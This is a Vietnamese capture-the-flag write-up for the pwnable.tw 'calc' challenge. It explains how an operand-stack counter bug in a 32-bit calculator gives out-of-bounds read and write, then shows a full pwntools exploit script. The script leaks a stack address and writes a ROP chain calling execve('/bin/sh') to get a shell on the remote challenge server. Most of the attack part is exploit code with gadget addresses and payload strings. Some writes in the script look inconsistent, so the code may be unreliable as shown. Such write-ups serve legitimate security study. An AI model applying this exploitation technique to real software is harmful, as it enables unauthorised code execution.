Calc (150 points)

Phân tích chương trình:

  • Challenge này mô phỏng một ứng dụng máy tính mô phỏng (calculator) cho phép người dùng nhập vào một biểu thức toán học, sau đó phân tích và trả về kết quả. Ứng dụng này sử dụng ELF 32-bit, No Pie và bật bảo vệ NX ngăn chặn việc thực thi trực tiếp shellcode.
  • Lỗ hổng cốt lõi của chương trình nằm ở sự thiếu đồng bộ giữa bộ phân tích cú pháp parse_expr và hàm thực thi toán học eval.
  • Các đoạn code quan trọng: (lưu ý: một số biến trong file nhị phân được reverse bởi IDA đã được mình đổi lại cho dễ nhớ và dễ tiếp cận)

1: Hàm parse_expr

1
2
3
4
if ( num > 0 ) {
    v3 = (*stack_so_hang)++;
    stack_so_hang[v3 + 1] = num;
}
  • stack_so_hang là một mảng đóng vai trò như Ngăn xếp Toán hạng (Operand Stack), với phần tử đầu tiên (*stack_so_hang) là biến đếm số lượng phần tử.
  • Đoạn code trên có nhiệm vụ: Nếu giải mã được một con số hợp lệ (num > 0), nó sẽ tăng biến đếm lên 1 và đẩy con số đó vào mảng.
  • Giả định kịch bản Hacker: Nếu hacker cố tình nhập một biểu thức bắt đầu ngay bằng một toán tử (ví dụ: +360), chương trình sẽ không tìm thấy số nào trước dấu + nên num = 0.
  • Khối lệnh if bị bỏ qua, dẫn đến việc biến đếm *stack_so_hang không tăng (vẫn bằng 0), nhưng dấu + thì vẫn được đẩy vào Ngăn xếp Toán tử.

2: Hàm eval

1
2
3
4
5
if ( stack_toan_tu == '+' ) {
    stack_so_hang[*stack_so_hang - 1] += stack_so_hang[*stack_so_hang];
}
//...
--*stack_so_hang;
  • Hàm eval lôi 2 con số trên đỉnh của ngăn xếp ra để thực hiện phép toán (ở đây là phép cộng), ghi đè kết quả vào toán hạng thứ nhất và sau đó giảm biến đếm đi 1(--*stack_so_hang).
  • Giả định kịch bản Hacker (Tiếp nối): Tiếp tục với chuỗi +360.
  • Sau khi đọc số 360, mảng có biến đếm *stack_so_hang = 1 và stack_so_hang[1] = 360.
  • Khi gọi eval với dấu +, mã C thực thi: stack_so_hang[*stack_so_hang - 1] += stack_so_hang[*stack_so_hang]; (stack_so_hang[0] += stack_so_hang[1];)
  • Biến_đếm = 0 + 360 = 360.
  • Hacker đã thành công biến chính con trỏ quản lý của mảng thành dữ liệu toán học, ép chỉ mục (index) nhảy thẳng đến vị trí 360 trên bộ nhớ (vượt ra ngoài ranh giới cho phép).

Hướng đi để Exploit

  • Bằng việc chiếm được quyền kiểm soát con trỏ chỉ mục, chúng ta có trong tay một công cụ Đọc/Ghi ngoài vùng nhớ (Out-of-Bounds Read/Write).

  • Mục tiêu cuối cùng là xây dựng một chuỗi ROP (Return-Oriented Programming) trên stack để gọi hệ thống execve("/bin/sh", NULL, NULL).

  • Bước 1: Rò rỉ địa chỉ bộ nhớ (Stack Leak / OOB Read)

  • Khoảng cách từ mảng stack_so_hang đến giá trị Saved EBP của hàm main là 360 phần tử (mỗi phần tử 4 byte). Gửi chuỗi +360. Ứng dụng sẽ thực hiện toán học tại vị trí này và in kết quả ra màn hình. Kết quả này chính là địa chỉ của bộ nhớ ngăn xếp hiện tại, giúp ta làm mốc để tính toán địa chỉ của chuỗi “/bin/sh” sẽ được bơm vào sau này.

  • Bước 2: Dọn dẹp Ngăn xếp (Clean Stack được dùng để ROP).

  • Nhằm mục đích chuyển hết value của vùng địa chỉ này về 0x0 để dễ tận dụng eval ghi đè value mong muốn. Hàm clean_rop_stack(20) của mình ở mục 3 sẽ thực hiện tốt bước này.

  • Bước 3: Lắp ráp ROP Chain (OOB Write)

  • Do không thể ghi đè bộ nhớ một cách trực tiếp, ta dùng toán học:

  • Đọc giá trị hiện tại ở index, tính độ lệch (delta) so với địa chỉ Gadget mong muốn, rồi gửi biểu thức +index+delta hoặc +index-delta để cộng/trừ vào.

  • Ta sẽ rải lần lượt chuỗi ROP từ vị trí 361 (Return Address của hàm calc) trở đi.

  • Bước 4: Kích hoạt Shell

  • Gửi một chuỗi bất kỳ không hợp lệ (như xxx) để ngắt vòng lặp nhận dữ liệu của ứng dụng, ép hàm kết thúc và kích hoạt chuỗi ROP vừa rải trên ngăn xếp.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3

from pwn import *
import time

exe = ELF('./calc', checksec=False)
# libc = ELF('', checksec=False)
context.binary = exe

info = lambda msg: log.info(msg)
s = lambda data, proc=None: proc.send(data) if proc else p.send(data)
sa = lambda msg, data, proc=None: proc.sendafter(msg, data) if proc else p.sendafter(msg, data)
sl = lambda data, proc=None: proc.sendline(data) if proc else p.sendline(data)
sla = lambda msg, data, proc=None: proc.sendlineafter(msg, data) if proc else p.sendlineafter(msg, data)
sn = lambda num, proc=None: proc.send(str(num).encode()) if proc else p.send(str(num).encode())
sna = lambda msg, num, proc=None: proc.sendafter(msg, str(num).encode()) if proc else p.sendafter(msg, str(num).encode())
sln = lambda num, proc=None: proc.sendline(str(num).encode()) if proc else p.sendline(str(num).encode())
slna = lambda msg, num, proc=None: proc.sendlineafter(msg, str(num).encode()) if proc else p.sendlineafter(msg, str(num).encode())
def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
        b*calc+64

        c
        ''')
        input()


if args.REMOTE:
    p = remote('chall.pwnable.tw', 10100)
else:
    p = process([exe.path])
# GDB()

def clean_rop_stack(depth):
    for i in range(depth):
        sl(f'+{361+i}'.encode())
        p.recvuntil(b'\n')
        res = p.recvline().strip()
        if b'-' not in res:
            value = int(res)
            sl(f'+{361+i}-{value}'.encode())
        else:
            value = abs(int(res))
            sl(f'+{361+i}+{value}'.encode())

rw_section = 0x80eb400
ret = 0x080494a6
pop_eax = 0x080bc545 # inc eax ; pop eax ; ret
pop_edx = 0x080701aa # pop edx ; ret
pop_ecx_ebx = 0x080701d1 # pop ecx ; pop ebx ; ret
syscall = 0x08049a21 # int 0x80
syscall2 = 0x0806441d # syscall
clean_rop_stack(20)
# GDB()

sl(b'+360')
p.recvuntil(b'\n')
stack_leak = int(p.recvline().strip())
info(f'Stack leak: {hex(stack_leak & 0xFFFFFFFF)}')

sl(f'+360+{ret}'.encode())
sl(f'+360-{ret}'.encode())
sl(f'+361+{pop_eax}'.encode())
sl(f'+361-{pop_eax}'.encode())
sl(f'+362+{0xb}'.encode())
sl(f'+362-{0xb}'.encode())
sl(f'+363+{pop_ecx_ebx}'.encode())
sl(f'+363-{pop_ecx_ebx}'.encode())
sl(f'+366{stack_leak + 0xc}'.encode())
# sl(f'+365+{abs(stack_leak + 0xc)}'.encode())
sl(f'+366+{pop_edx}'.encode())
sl(f'+366-{pop_edx}'.encode())
sl(f'+368+{syscall}'.encode())
sl(f'+368-{syscall}'.encode())
# 0x0068732f6e69622f
sl(f'+370+{0x6e69622f}'.encode())
sl(f'+370-{0x6e69622f}'.encode())
sl(f'+371+{0x0068732f}'.encode())
sl(f'+371-{0x0068732f}'.encode())

# GDB()
sl(b'xxx')

p.interactive()